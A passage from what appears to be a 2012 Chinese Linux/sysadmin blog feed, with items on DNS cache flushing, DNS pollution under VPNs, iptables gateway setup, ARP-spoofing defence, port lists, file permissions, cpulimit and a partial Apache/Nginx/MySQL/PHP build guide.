			<link>http://www.lvtao.net/html/1876.html</link>
			<pubDate>2012-02-18, 20:36:19</pubDate>
		</item>
		<item>
			<title>在Linux/Windows/Mac上刷新清除DNS缓存的方法</title>
			<author>memory</author>
			<description><![CDATA[刷新dns缓存让你可以得到新的域名解析。当你无法正确访问一个新注册的域名时就可以刷新dns缓存试试。刷新dns缓存非常简单，任何时候都以进行。但是不同的系统，Windows、Mac OS和Linux上的方法是不一样的。

在不同的系统中刷新DNS缓存的方法如下。
[B]如果是 Windows ( XP, ME, 2000, 98)系统：[/B]

    开始——>运行——>输入 cmd 并回车
    在打开的命令行窗口，输入 ipconfig /flushdns
    完成！你的Windows DNS 缓存已经得到刷新。

[B]如果是Windows Vista 或 Windows 7 系统：[/B]

    单击屏幕左下角的Microsoft Windows Vista或Windows 7 的开始标志
    单击 所有程序
    单击 附件
    右键单击命令提示符
    选择 以管理员身份运行
    在打开的命令行窗口，输入 ipconfig /flushdns

你将会看到如下的确认信息：

    Windows IP 配置

    已成功刷新 DNS 解析缓存。

[B]如果是Linux系统：[/B]

刷新 DNS 缓存需要重起 nscd daemon：

    要重起 nscd daemon，在命令行窗口（terminal）输入 /etc/rc.d/init.d/nscd restart
    命令执行完毕，你的DNS缓存就被刷新了。

如果是比较新的Linux版本，你可能需要使用下面的命令：

/etc/init.d/nscd restart
[B]如果是Mac OS X苹果系统：[/B]

    在命令行窗口（terminal）输入 lookupd -flushcache
    例如：bash-2.05a$ lookupd -flushcache
    命令执行完毕，你的DNS缓存就得到了更新。

较新的苹果Mac OS X系统应该使用下面的命令：

type  dscacheutil -flushcache]]></description>
			<link>http://www.lvtao.net/html/1875.html</link>
			<pubDate>2012-02-18, 06:39:44</pubDate>
		</item>
		<item>
			<title>为什么已经连上vpn了，但还是访问不了facebook,youtube，twitter等网页呢</title>
			<author>memory</author>
			<description><![CDATA[时常碰到有人问及一个问题，
为什么开了vpn有些网站还不能访问？
vpn拨上了，twiiter访问不了。
vpn拨上了，facebook访问不了。
youtube能打开，却看不了视频。

第一个原因:
DNS 缓冲。 这种情况的通常原因是因为你在未开启vpn的情况下访问了facebook这样的网站。
这个时候自然访问不上，同时却在本机留下了缓冲。
这种情况 常在几分钟之内就可以访问了。也可以尝试 在dos窗口运行 ipconfig /flushdns
该命令会刷新DNS缓冲。重启机器后再试。


第二个原因:
你的浏览器开了代理什么的。确认一下关掉代理。


第三个原因：
dns 被劫持了，即使使用国外的dns，也会被劫持。
有些机子开vpn能够访问，
有些 机子确不能。
并且 排除了代理，防火墙，本地网络的原因。
这个时候同时ping远程网站，比如facebook。
不能访问的机子通常获取了一个怪异的ip，从任何地方都ping不通的ip。
而 能访问的机子ip，在不能访问的机子上直接可以访问，也可以ping通。


这种情况我们可以去掉VPN服务器的DNS。切换另外的dns。
在windows系统中，可以在本地网络连接的属性中，
去掉默认的dns，选用国外的dns。
比如 google 的 8.8.8.8 备用 8.8.4.4
或者 opendns 的 208.67.222.222 备用 208.67.220.220


【名词解释】：
DNS污染是一种让一般用户由于得到虚假目标主机IP而不能与其通信的方法，是一种DNS缓存投毒攻击（DNS cache poisoning）。其工作方式是：在UDP端口53上的DNS查询进行入侵检测，一经发现与关键词相匹配的请求则立即伪装成目标域名的解析服务器（NS，Name Server）给查询者返回虚假结果。由于通常的DNS查询没有任何认证机制，而且DNS查询通常基于的UDP是无连接不可靠的协议，查询者只能接受最先到达的格式正确结果，并丢弃之后的结果。对于不了解相关知识的网民来说也就是，由于系统默认使用的ISP提供的NS查询国外的权威服务器时被劫持，其缓存受到污染，因而默认情况下查询ISP的服务器就会获得虚假IP；而用户直接查询境外NS（比如OpenDNS）又可能被劫持，从而在没有防范机制的情况下仍然不能获得正确IP。

在Firefox中，设置远程解析DNS很简单，只需要在在about:config 改成 network.proxy.socks_remote_dns=true 就可以了。对于IE或者其他用户来说，需要安装一个名为SocksCap的软件，选中Resolve all names remot即可]]></description>
			<link>http://www.lvtao.net/html/1874.html</link>
			<pubDate>2012-02-17, 16:16:49</pubDate>
		</item>
		<item>
			<title>CentOS 配置网关服务器</title>
			<author>memory</author>
			<description><![CDATA[环境：硬件：IBM X336 服务器

软件：CentOS 5.5 + iptables-1.3.5

一 配置NetWork：

   内网：Eth0 :192.168.0.253/24

   外网：Eth1:112.95.145.157/24

Eth0:   vi  /etc/sysconfig/network-scripts/ifcfg-eth0

       增加：

       BOOTPROTO=static

       IPADDR=192.168.0.253

       BROADCASK=192.168.0.255

       NETMASK=255.255.255.0

       NETWORK=192.168.0.0

       ONBOOT=yes

Eth1:   vi  /etc/sysconfig/network-scripts/ifcfg-eth1

       增加： 

       BOOTPROTO=static

       IPADDR=112.95.145.157

       NETMASK=255.255.255.0

       BROADCASK=112.95.145.255

       NETWORK=112.95.145.0

       ONBOOT=yes

设置网关：

       Vi /etc/syscofig/network

       增加：

       NETWORKING=yes

       NETWORKING_IPV4=yes

       GATEWAY=112.95.145.1

       HOSTNAME=GateWay

设置DNS：

       Vi /etc/resolv.conf

       增加：

        nameserver 210.21.196.6

        nameserver 221.5.55.88

重启NETWORK：service network restart

网络启动成功后，Ping一下网关、外部地址，验证配置正确。

二 Iptables配置

Iptables 随系统已经安装。检查确认：

         rpm -qa iptables

   本例为：iptables-1.3.5-5.3.e15_4.1
  1 打开IP转发功能:

 echo 1 > /proc/sys/net/ipv4/ip_forward


  2 建立nat 伪装  

iptables -t nat -A POSTROUTING -o eth1 -j MASQUERADE

iptables -t nat -A POSTROUTING -s 192.168.0.0/22 -o eth1 -j MASQUERADE (只建立特定子网 的nat）

3 建立转发

iptables -A FORWARD -i eth0 -j ACCEPT

iptables -A FORWARD -s 192.168.0.0/22 -m state --state ESTABLISHED,RELATED -j ACCEPT

  4 保存iptables 配置。

service iptables save

  最简单的网关就配置好了。可以按实际情况加上各种转发规则。

找一台客户机：设置IP：192.168.0.2/24   GATEWAY：192.168.0.253

DNS:210.21.196.6     221.5.88.88

验证能不能正常访问外部。

三 限制特定的MAC  IP访问

  1 限制特定MAC 地址外部访问：

iptables -A FORWARD -m mac --mac-source xx:xx:xx:xx:xx:xx -j DROP

解封：

iptables -D FORWARD -m mac --mac-source xx:xx:xx:xx:xx:xx -j DROP

限制所有通信:

iptables -A INPUT -m mac --mac-source xx:xx:xx:xx:xx:xx -j DROP

解封：

iptables -A INPUT -m mac --mac-source xx:xx:xx:xx:xx:xx -j DROP

 2  限制特定IP外部访问：

iptables -A FORWARD  -s 192.168.0.x  -j DROP

解封：

iptables -D FORWARD  -s 192.168.0.x  -j DROP

限制所有通信:

iptables -A INPUT  -s 192.168.0.x  -j DROP

解封：

iptables -D INPUT  -s 192.168.0.x  -j DROP

3   查看所有规则：

iptables  -L

或者： cat /etc/sysconfig/iptables

四 SSH外部登录安全设定。

   SSH默认port:22 可以以ROOT方式登录。更改如下：

   1 修改port

     vi /etc/ssh/sshd_config

     找到#Port 22 行，新增

     Port 27481  (可以换成不与现有端口相冲突的任意端口)

   2 修改限制ROOT方式登录

     vi /etc/ssh/sshd_config

     找到 #PermitRootLogin yes 新增

     PermitRootLogin no

3保存退出。重启SSH

  Service sshd restart

4 用ssh软件测试是否生效。]]></description>
			<link>http://www.lvtao.net/html/1873.html</link>
			<pubDate>2012-02-17, 14:01:12</pubDate>
		</item>
		<item>
			<title>CentOS系统配置arptables防火墙防ARP攻击</title>
			<author>memory</author>
			<description><![CDATA[cd /usr/src/
wget http://downloads.sourceforge.net/project/ebtables/arptables/arptables-v0.0.3/arptables-v0.0.3-4.tar.gz

tar zxvf arptables-v0.0.3-4.tar.gz
cd arptables-v0.0.3-4/
make
make install

/usr/local/sbin/arptables -F
/usr/local/sbin/arptables -A INPUT --source-mac ! 网关MAC -j DROP
/usr/local/sbin/arptables -A INPUT -s ! 网关IP -j DROP
/usr/local/sbin/arptables -I INPUT --source-mac 你的同网段其他服务器MAC ACCEPT

这儿查看 网关mac 及网关ip 可以使用
arp -a 查看 
[newpage]
有时，局域网内大家突然都不可以上网，使用抓包工具可以发现有个别机器在不停的发送ARP广播包。这种情况一般都是内网的某台机器中了arp病毒，然后这台机器便不断的发送欺骗包给所有机器来冒充网关，这样其他机器就会把这个中毒的机器当作网关而把数据包发给它，而它在接到数据包后又没有转发数据包到真正的网关去，所以造成大家都无法上网。

一般的，arp病毒使用欺骗的手段是为了窃听内网中所有的通信数据以达到它的某种目的。

由于一般的arp病毒在发送欺骗包时会修改自身的Mac地址，这使我们在快速排查中毒机器有一定困难。但这可以通过mac与ip绑定的方式解决，即所有内网机器的ip都通与mac绑定的方式分配，这样所有未登记的不合法mac就无法连接到内网了。

如果局域网内已经有网关欺骗而导致无法上网时，我们还可以通过在本机上绑定网关的mac地址和ip来解决欺骗问题。但此步需要一个条件，即你要知道真实的网关ip和mac地址。操作如下：
防范arp病毒攻击方法一：(此方法对Linux和Windows都适用)

列出局域网内所有机器的mac地址,如果此步列出的路由表中网关ip 和网关mac地址与真实不符，就也证明你已经被网关欺骗了。

# arp -a

绑定mac地址

# arp -s 192.168.1.1 00:07:E9:xx:xx:xx

注意：这里192.168.1.1有可能有换成hostname，假如你的网关设置了hostname的话。
防范arp病毒攻击方法二：(适用于linux)

创建一个/etc/ethers文件，比如你要绑定网关，那就在/etc/ethers里写上：

192.168.1.1 00:07:E9:xx:xx:xx

然后执行

# arp -f

操作完成你可以使用arp -a查看当前的arp缓存表，如果列表显示正确，那么你的绑定操作已成功，如果还有绑定其它机器的话，比如FTP等，那就继续添加记录。

说明：此处的192.168.1.1为你的网关地址，00:07:E9:xx:xx:xx为你的网关mac地址。

注意：Linux和Widows上的MAC地址格式不同。Linux表示为：AA:AA:AA:AA:AA:AA，Windows表示为：AA-AA-AA-AA-AA-AA。每次重启机器后需要重新绑定mac地址，你可以写一个自动脚本后加到自启动项目中。

另外，mac地址的绑定需要双向的，即机器a绑定了机器b，机器b也要绑定机器a，这样防范arp病毒攻击才会有效。

防范arp病毒攻击的方法有很多，本文知识介绍了比较实用的两种，而且是针对linux和windows两种不同系统的办法，所以使用时一定要看清系统，对症下药。]]></description>
			<link>http://www.lvtao.net/html/1872.html</link>
			<pubDate>2012-02-17, 13:59:57</pubDate>
		</item>
		<item>
			<title>计算机常用端口号</title>
			<author>memory</author>
			<description><![CDATA[代理服务器常用以下端口：
（1）. HTTP协议代理服务器常用端口号：80/8080/3128/8081/9080
（2）. SOCKS代理协议服务器常用端口号：1080
（3）. FTP（文件传输）协议代理服务器常用端口号：21
（4）. Telnet（远程登录）协议代理服务器常用端口：23
 
HTTP服务器，默认的端口号为80/tcp（木马Executor开放此端口）；
HTTPS（securely transferring web pages）服务器，默认的端口号为443/tcp 443/udp；
Telnet（不安全的文本传送），默认端口号为23/tcp（木马Tiny Telnet Server所开放的端口）；
FTP，默认的端口号为21/tcp（木马Doly Trojan、Fore、Invisible FTP、WebEx、WinCrash和Blade Runner所开放的端口）；
TFTP（Trivial File Transfer Protocol ），默认的端口号为69/udp；
SSH（安全登录）、SCP（文件传输）、端口重定向，默认的端口号为22/tcp；
SMTP Simple Mail Transfer Protocol (E-mail)，默认的端口号为25/tcp（木马Antigen、Email Password Sender、Haebu Coceda、Shtrilitz Stealth、WinPC、WinSpy都开放这个端口）；
POP3 Post Office Protocol (E-mail) ，默认的端口号为110/tcp；
WebLogic，默认的端口号为7001；
Webshpere应用程序，默认的端口号为9080；
webshpere管理工具，默认的端口号为9090；
JBOSS，默认的端口号为8080；
TOMCAT，默认的端口号为8080；
WIN2003远程登陆，默认的端口号为3389；
Symantec AV/Filter for MSE ,默认端口号为 8081；
Oracle 数据库，默认的端口号为1521；
ORACLE EMCTL，默认的端口号为1158；
Oracle XDB（ XML 数据库），默认的端口号为8080；
Oracle XDB FTP服务，默认的端口号为2100；
MS SQL*SERVER数据库server，默认的端口号为1433/tcp 1433/udp；
MS SQL*SERVER数据库monitor，默认的端口号为1434/tcp 1434/udp；
QQ，默认的端口号为1080/udp]]></description>
			<link>http://www.lvtao.net/html/1871.html</link>
			<pubDate>2012-02-17, 13:27:18</pubDate>
		</item>
		<item>
			<title>解释Linux的9个权限位</title>
			<author>memory</author>
			<description><![CDATA[在Linux上，每一个文件都有9位权限位见下例：
[root@localhost ~]# ls -l /etc/hosts
-rw-r--r-- 2 root root 185 Feb 25 06:50 /etc/hosts

选项权限的介绍：

大家实际上可以看到这里是10位：-rw-r--r--
使用ls的-l选项可以较完整的形式显示文件的类型（第一位）和权限（后九位）。其中第一位文件类型的可变字符为：

    - 普通文件
    b 特殊块文件（存储在/dev）。
    c 特殊字符文件（存储在/dev）。
    d 目录。
    l 软链接。
    p FIFO（管道文件）。
    s Socket（套接口文件）。
    w Whiteout。

例如：
[root@localhost ~]# ls -ld /etc
drwxr-xr-x 96 root root 12288 Mar  3 18:23 /etc
[root@localhost ~]# ls -l /dev/sda
brw-r----- 1 root disk 8, 0 Mar  3 18:21 /dev/sda


权限位
剩下的九位，每三位一个部分，一共三个权限部分。分别为：

    文件所有者权限
    文件属组权限
    其他人权限（既不是该文件的所有者也不是属组）

每个权限部分可选字符选项如下：

    r：对该文件读的权限；如标记为-就是不可读。
    w：对该文件拥有写权限；如果标记为-就是不可写。
    S：如果在所有者权限部分，表示该文件不能被执行和设置为set-user-ID模式。如果在组权限部分，表示该文件不能被执行和设置为set-group-ID模式。
    s：如果该字符在所有者权限部分，表示该文件可执行和设置为set-user-ID模式。如果设置在组权限部分，表示该文件可执行和设置为set-group-ID模式。
    x：该文件拥有执行权限，如果是目录则拥有检索（查看）权限。
    -：无某（读，写，执行，setuid等）权限

以下两个字符只能用在第三部分其他人权限部分：

    T 沾滞位设置（1000模式），但不能执行或者搜索。
    t 沾滞位设置（1000模式），并可以执行或搜索。（该字符较常见一般用于授予目录，作用为任何人可以在该目录中创建文件，但是该文件只有创建者可删除。见/tmp目录权限）。

更多请参见ls的man文档。]]></description>
			<link>http://www.lvtao.net/html/1870.html</link>
			<pubDate>2012-02-16, 20:10:06</pubDate>
		</item>
		<item>
			<title>linux下限制CPU使用率的3种方法</title>
			<author>memory</author>
			<description><![CDATA[1,apache本身的限制功能(RLimitCPU)
http://www.wrensoft.com/forum/archive/index.php/t-12.html

引用国外这个帖子

Ray03-19-2008, 05:20 AM

The PHP test can be used to show that the problem is evident, but it is not conclusive to prove that there is no limit put in place.
The reason is that it depends on how PHP is configured on the server. If the PHP scripting engine is setup as a CGI application which is forked by Apache, then the RLimit* operatives will apply and the PHP script can prove this. If they run within httpd however, the limits would not apply to the PHP engine.
这个限制将施于Apache子服务请求衍生出的进程，而不是Apache子进程本身。这个范围包括CGI脚本和SSI执行命令，但不包括所有从Apache父进程衍生出的进程。比如说管道日志。
如果不子进程不衍生进程,或非常占资源的这个进程不属于衍生出来的进程,那不就是没办法了吗?所以呀,这个办法不行地.

2,通过系统的 ulimit命令限制资源的使用
设置文件在:
/etc/security/limits.conf
比如:
xok_la           hard    cpu             1
xok_la           hard    fsize           50000
xok_la           hard    memlock         1000
xok_la           hard    nofile          50
xok_la           hard    nproc           50
这种方式限制是可以的,他是基于用户来限制的,可以限制内存,CPU占用时间,打开的文件数等等.前提是你要登陆到这个系统上.如果只是以这个用户来单独运行文件的话,就不行…….所以我还是要放弃.

3,安装CPU Usage Limiter for Linux
What is it?
cpulimit is a simple program that attempts to limit the cpu usage of a process (expressed in percentage, not in cpu time). This is useful to control batch jobs, when you don't want them to eat too much cpu. It does not act on the nice value or other scheduling priority stuff, but on the real cpu usage. Also, it is able to adapt itself to the overall system load, dynamically and quickly.
可以限制程序使用CPU的百分比,而不是时间.很好,很舒服.
开始安装吧.
官方地址:
http://cpulimit.sourceforge.net/

cd /root/install/
svn checkout
https://cpulimit.svn.sourceforge.net/svnroot/cpulimit/trunk
cpulimit
cd cpulimit
make
cp ./cpulimit /usr/sbin

如此简单,很愉快吧?
限制方法:
如果限制进程名,比如将httpd这个进程名的CPU限制在40%
cpulimit --exe httpd --limit 40
cpulimit --exe /usr/local/bin/httpd --limit 40
将pid为2960的进程的CPU限制在55%
cpulimit --pid 2960 --limit 55
慢慢对比top 命令那里的CPU变化.嘿嘿,有效果了吧?.
再来个完美的
自动限制当前进程使用CPU超过20%的进程,将他限制为10%
cpulimit --pid `ps aux|awk '{if($3 > 20) print $2}'` --limit 10
cpulimit命令:
Error: You must specify a target process, by name or by PID
Usage: cpulimit TARGET [OPTIONS...]
   TARGET must be exactly one of these:
      -p, --pid=N        pid of the process (implies -z)
      -e, --exe=FILE     name of the executable program file or absolute path name
   OPTIONS
      -l, --limit=N      percentage of cpu allowed from 0 to 100 (required)
      -v, --verbose      show control statistics
      -z, --lazy         exit if there is no suitable target process, or if it dies
      -h, --help         display this help and exit]]></description>
			<link>http://www.lvtao.net/html/1869.html</link>
			<pubDate>2012-02-16, 20:08:59</pubDate>
		</item>
		<item>
			<title>搭建前后端web生产环境Linux+Apache+Nginx+MySQL+PHP</title>
			<author>memory</author>
			<description><![CDATA[最近看到很多人都在LNAMP，变得越来越流行了，干脆将我之前自己做的重新优化了一边，更新了新版程序，并降低了55%的内存消耗，速度和负载都比0.1版提高了不少。
LNAMP 0.2版 介绍：
    Centos 5.5 32bit
    Apache 2.2.17
    Nginx 0.8.54
    MySQL 5.1.55
    PHP 5.2.17
一、重装Centos系统，删除不比要的程序，并安装相关组件：
    yum -y remove httpd mysql php

安装相关组件

    yum -y install yum-fastestmirror
    yum -y update
    yum -y install patch make gcc gcc-c++ gcc-g77 flex bison tar
    yum -y install libtool libtool-libs kernel-devel autoconf213
    yum -y install libjpeg libjpeg-devel libpng libpng-devel
    yum -y install libtiff libtiff-devel gettext gettext-devel
    yum -y install freetype freetype-devel libxml2 libxml2-devel zlib zlib-devel
    yum -y install file glib2 glib2-devel bzip2 diff* openldap-devel
    yum -y install bzip2-devel ncurses ncurses-devel curl curl-devel e2fsprogs
    yum -y install e2fsprogs-devel krb5 krb5-devel libidn libidn-devel
    yum -y install openssl openssl-devel vim-minimal unzip
    export PHP_AUTOCONF=/usr/bin/autoconf-2.13
    export PHP_AUTOHEADER=/usr/bin/autoheader-2.13

安装PHP 5.2.x 所需的支持库

    cd /usr/local/src

    wget -c http://ftp.gnu.org/pub/gnu/libiconv/libiconv-1.13.1.tar.gz
    tar zxvf libiconv-1.13.1.tar.gz
    cd libiconv-1.13.1/
    ./configure --prefix=/usr/local
    make
    make install
    cd ../

    wget -c http://monkey.org/~provos/libevent-2.0.10-stable.tar.gz
    tar zxvf libevent-2.0.10-stable.tar.gz
    cd libevent-2.0.10-stable/
    ./configure --prefix=/usr
    make
    make install
    cd ../

    wget -c http://ncu.dl.sourceforge.net/sourceforge/mcrypt/libmcrypt-2.5.8.tar.gz
    tar zxvf libmcrypt-2.5.8.tar.gz
    cd libmcrypt-2.5.8/
    ./configure
    make
    make install
    /sbin/ldconfig
    cd libltdl/
    ./configure --enable-ltdl-install
    make
    make install
    cd ../../

    wget -c http://nchc.dl.sourceforge.net/sourceforge/mhash/mhash-0.9.9.9.tar.gz
    tar zxvf mhash-0.9.9.9.tar.gz
    cd mhash-0.9.9.9/
    ./configure
    make
    make install
    cd ../

    ln -s /usr/local/lib/libmcrypt.la /usr/lib/libmcrypt.la
    ln -s /usr/local/lib/libmcrypt.so /usr/lib/libmcrypt.so
    ln -s /usr/local/lib/libmcrypt.so.4 /usr/lib/libmcrypt.so.4
    ln -s /usr/local/lib/libmcrypt.so.4.4.8 /usr/lib/libmcrypt.so.4.4.8
    ln -s /usr/local/lib/libmhash.a /usr/lib/libmhash.a
    ln -s /usr/local/lib/libmhash.la /usr/lib/libmhash.la
    ln -s /usr/local/lib/libmhash.so /usr/lib/libmhash.so
    ln -s /usr/local/lib/libmhash.so.2 /usr/lib/libmhash.so.2
    ln -s /usr/local/lib/libmhash.so.2.0.1 /usr/lib/libmhash.so.2.0.1
    ln -s /usr/local/bin/libmcrypt-config /usr/bin/libmcrypt-config

    wget -c http://nchc.dl.sourceforge.net/sourceforge/mcrypt/mcrypt-2.6.8.tar.gz
    tar zxvf mcrypt-2.6.8.tar.gz
    cd mcrypt-2.6.8/
    ./configure
    make
    make install
    cd ../

    安装GD图形支持库：

    cd /usr/local/src
    wget http://www.libgd.org/releases/gd-2.0.35.tar.gz
    tar xzvf gd-2.0.35.tar.gz
    cd gd-2.0.35
    ./configure --prefix=/usr/local/gd --mandir=/usr/share/man --with-jpeg --with-png --with-freetype --with-zlib --with-fontconfig
    make             //如果GD报错:configure.ac:64: warning: macro `AM_ICONV' not found in library 你就make clean一下，然后再make
    make install

二、安装 Mysql 5.1.x：

1）先安装Google的开源TCMalloc库，可以提高MySQL在高并发情况下的性能

    cd /usr/local/src

    wget -c http://google-perftools.googlecode.com/files/google-perftools-1.7.tar.gz
    tar zxvf  google-perftools-1.7.tar.gz
    cd google-perftools-1.7/
    ./configure
    make && make install
    echo "/usr/local/lib" > /etc/ld.so.conf.d/usr_local_lib.conf
    /sbin/ldconfig
    cd ../

2）开始安装Mysql 5.1.x

    cd /usr/local/src

    wget -c http://mysql.proserve.nl/Downloads/MySQL-5.1/mysql-5.1.55.tar.gz
    tar -zxvf mysql-5.1.55.tar.gz
    cd mysql-5.1.55
    ./configure --prefix=/usr/local/mysql --with-extra-charsets=all --enable-thread-safe-client --enable-assembler --with-charset=utf8 --enable-thread-safe-client --with-big-tables --with-readline --with-ssl --with-embedded-server --enable-local-infile --without-debug --without-innodb --without-isam --with-mysqld-ldflags=-ltcmalloc_minimal
    make && make install
    cd ../
    groupadd mysql
    useradd -g mysql mysql
    cp /usr/local/mysql/share/mysql/my-medium.cnf /etc/my.cnf
    /usr/local/mysql/bin/mysql_install_db --user=mysql
    chown -R mysql /usr/local/mysql/var
    chgrp -R mysql /usr/local/mysql/.
    cp /usr/local/mysql/share/mysql/mysql.server /etc/init.d/mysql
    chmod 755 /etc/init.d/mysql
    chkconfig --level 345 mysql on
    echo "/usr/local/mysql/lib/mysql" >> /etc/ld.so.conf
    echo "/usr/local/lib" >>/etc/ld.so.conf
    ldconfig
    ln -s /usr/local/mysql/lib/mysql /usr/lib/mysql
    ln -s /usr/local/mysql/include/mysql /usr/include/mysql
    service mysql start
    /usr/local/mysql/bin/mysqladmin -u root password mgrei //修改红色部分为你的密码
    service mysql restart

3）设置MySQL：

打开“/etc/my.cnf”文件，修改以下设置，如果没有，可手动添加：

关闭远程连接，即3306端口。这是MySQL的默认监听端口。由于此处MySQL只服务于本地脚本，所以不需要远程连接。尽管MySQL内建的安全机制很严格，但监听一个TCP端口仍然是危险的行为，因为如果MySQL程序本身有问题，那么未授权的访问完全可以绕过MySQL的内建安全机制。（你必须确定，你是否真的不需要远程连接mysql，一般数据库地址为localhost的，即使本地数据库，不需要外链）

    skip-networking

保存后退出。

修改完my.cnf后，还需要对mysql的用户名、帐号、及默认数据库进行调整

首先先登录mysql，在终端窗口输入

    /usr/local/mysql/bin/mysql -u root -p

然后会提示输入密码，输入正确密码后，会出现mysql>提示符。

输入以下命令：

    mysql>use mysql;
    mysql>select Host,User,Password,Select_priv,Grant_priv from user;
    mysql>delete from user where user='';                  （删除user用户）
    mysql>delete from user where password='';               （删除user用户）
    mysql>delete from user where host='';                     （删除user用户）
    mysql>drop database test;             (删除默认的test数据库)
    mysql>flush privileges;               （刷新mysql的缓存，让以上设置立即生效）
    mysql>quit;

为了使以上优化和安全设置生效，请重启Mysql服务或Linux。

    service mysql restart

三、安装Apache：

1）下载Apache并解压缩：

    cd /usr/local/src
    groupadd www
    useradd -g www -s /sbin/nologin -M www

    wget -c http://www.apache.org/dist//httpd/httpd-2.2.17.tar.gz

    tar zxvf httpd-2.2.17.tar.gz
    cd httpd-2.2.17

Apache默认最大连接数和最大客户端数为40000，如果你的服务器要求更大，可以编译Apache安装文件中的：

    server/mpm/worker/worker.c

找到下面几行，并改成如下的数值，其目的是在源码中修改apache可支持的最大线程数和最大客户端数目。

    define DEFAULT_SERVER_LIMIT 32
    define MAX_SERVER_LIMIT 20000
    define DEFAULT_THREAD_LIMIT 64
    define MAX_THREAD_LIMIT 20000

以上数值据说改小后，能减低服务器消耗。不过柒月修改后，发现没什么实质变化。

2）安装Apache 2.2

    cd /usr/local/src/httpd-2.2.17
    ./configure --prefix=/usr/local/apache2 --enable-headers --enable-so --enable-rewrite --with-mpm=prefork --disable-userdir --disable-cgid --disable-cgi
    make && make install

如果你需要编译apache其他功能，可以自行增加。 不过在这里，我们只是用Apache作为后端并处理伪静态，无需添加过多设置来浪费内存

配置源代码树：

    --prefix=/usr/local/apache2 //体系无关文件的顶级安装目录PREFIX ，也就Apache的安装目录。
    --enable-module=so //打开 so 模块，so 模块是用来提 DSO 支持的 apache 核心模块
    --enable-mods-shared=all //编译全部的模板，对于不需要我们可以在httpd.conf去掉。
    --enable-cache //支持缓存
    --enable-file-cache //支持文件缓存
    --enable-mem-cache //支持记忆缓存
    --enable-disk-cache //支持磁盘缓存
    --enable-static-support //支持静态连接(默认为动态连接)
    --enable-static-htpasswd //使用静态连接编译 htpasswd - 管理用于基本认证的用户文件
    --enable-static-htdigest //使用静态连接编译 htdigest - 管理用于摘要认证的用户文件
    --enable-static-rotatelogs //使用静态连接编译 rotatelogs - 滚动 Apache 日志的管道日志程序
    --enable-static-logresolve //使用静态连接编译 logresolve - 解析 Apache 日志中的IP地址为主机名
    --enable-static-htdbm //使用静态连接编译 htdbm - 操作 DBM 密码数据库
    --enable-static-ab //使用静态连接编译 ab - Apache HTTP 服务器性能测试工具
    --enable-static-checkgid //使用静态连接编译 checkgid
    --disable-cgid //禁止用一个外部 CGI 守护进程执行CGI脚本
    --disable-cgi //禁止编译 CGI 版本的 PHP
    --with-mpm=worker // 让apache以worker方式运行
    --enable-ssl // 编译 ssl模块。

启动Apache（建议先不要启动，等我们全部设置完毕后，和Nginx启动）

    /usr/local/apache2/bin/apachectl start

查看apache是否启动

    ps aux|grep httpd

将apache设置成开机自启动：

    echo '/usr/local/apache2/bin/apachectl start ' >> /etc/rc.local  //将 apachectl 的调用加入到你的系统启动文件中。

四、安装 PHP5.2.x：

1）下载PHP 并解压缩：

    cd /usr/local/src
    wget -c http://us.php.net/distributions/php-5.2.17.tar.gz
    tar zxvf php-5.2.17.tar.gz
    cd php-5.2.17
    ./configure --prefix=/usr/local/php --with-apxs2=/usr/local/apache2/bin/apxs --with-mysql=/usr/local/mysql --with-mysqli=/usr/local/mysql/bin/mysql_config --with-config-file-path=/etc --with-zlib --with-libxml-dir --with-gd=/usr/local/gd --with-freetype-dir --with-jpeg-dir --with-png-dir --with-ttf --with-iconv --with-openssl --with-mcrypt --enable-sockets --enable-bcmath --enable-calendar --enable-exif --enable-libxml --enable-magic-quotes --enable-mbstring --with-bz2 --with-curl --with-xmlrpc --with-gettext --disable-cli --disable-cgi --disable-debug
    make ZEND_EXTRA_LIBS='-liconv'
    make install
    cp php.ini-dist /etc/php.ini

2）安装PHP扩展：

2.1）安装eaccelerator加速软件

eaccelerator是php的加速软件，使用后php的执行效率会有很大幅度的提升。

    cd /usr/local/src
    wget http://bart.eaccelerator.net/source/0.9.6.1/eaccelerator-0.9.6.1.tar.bz2
    tar -jxvf eaccelerator-0.9.6.1.tar.bz2
    cd eaccelerator-0.9.6.1
    /usr/local/php/bin/phpize
    ./configure --enable-eaccelerator=shared --with-php-config=/usr/local/php/bin/php-config
    make && make install

编译安装后我们会看到屏幕提示的eaccelerator.so所在的目录，php5.2.x系列是在 /usr/local/php/lib/php/extensions/no-debug-non-zts-20060613/，记住这个路径，待会要用到

修改php.ini 文件，将以下内容输入（详细设置）：

    [eaccelerator]
    zend_extension="/usr/local/php/lib/php/extensions/no-debug-non-zts-20060613/eaccelerator.so"
    eaccelerator.shm_size="16"
    eaccelerator.cache_dir="/tmp/eaccelerator"
    eaccelerator.enable="1"
    eaccelerator.optimizer="1"
    eaccelerator.check_mtime="1"
    eaccelerator.debug="0"
    eaccelerator.filter=""
    eaccelerator.shm_max="0"
    eaccelerator.shm_ttl="3600"
    eaccelerator.shm_prune_period="3600"
    eaccelerator.shm_only="0"
    eaccelerator.compress="1"
    eaccelerator.compress_level="9"

注意：这部分内容务必放在[zend]之前，不然可能会出现不可预期的服务器问题。

然后建立文件夹并设置权限：

    mkdir /tmp/eaccelerator
    chmod 777 /tmp/eaccelerator

2.2）安装Zend（如果程序没要求，尽量不要装Zend，容易和eA产生冲突）：

    cd /usr/local/src
    wget http://downloads.zend.com/optimizer/3.3.9/ZendOptimizer-3.3.9-linux-glibc23-i386.tar.gz
    tar -zxvf ZendOptimizer-3.3.9-linux-glibc23-i386.tar.gz
    cp ZendOptimizer-3.3.9-linux-glibc23-i386/data/5_2_x_comp/ZendOptimizer.so /usr/local/php/lib/php/extensions/no-debug-non-zts-20060613/

修改php.ini 文件：

    vi /usr/local/php/php.ini

将以下代码放入php.ini文件最底部

    [Zend Optimizer]
    zend_optimizer.optimization_level=1
    zend_optimizer.encoder_loader=0
    zend_extension="/usr/local/php/lib/php/extensions/no-debug-non-zts-20060613/ZendOptimizer.so"

2.3）安装PDO_MYSQL

    cd /usr/local/src
    wget -c http://pecl.php.net/get/PDO_MYSQL-1.0.2.tgz
    tar zxvf PDO_MYSQL-1.0.2.tgz
    cd PDO_MYSQL-1.0.2/
    /usr/local/php/bin/phpize
    ./configure --with-php-config=/usr/local/php/bin/php-config --with-pdo-mysql=/usr/local/mysql
    make
    make install

继续修改 php.ini 文件

    vi /usr/local/php/php.ini

查找代码：

    extension_dir = "./"

替换为：

    extension_dir = "/usr/local/php/lib/php/extensions/no-debug-non-zts-20060613/"
    extension="pdo_mysql.so"

2.4）安装 suhosin：

    cd /usr/local/src
    wget -c http://download.suhosin.org/suhosin-0.9.32.1.tar.gz
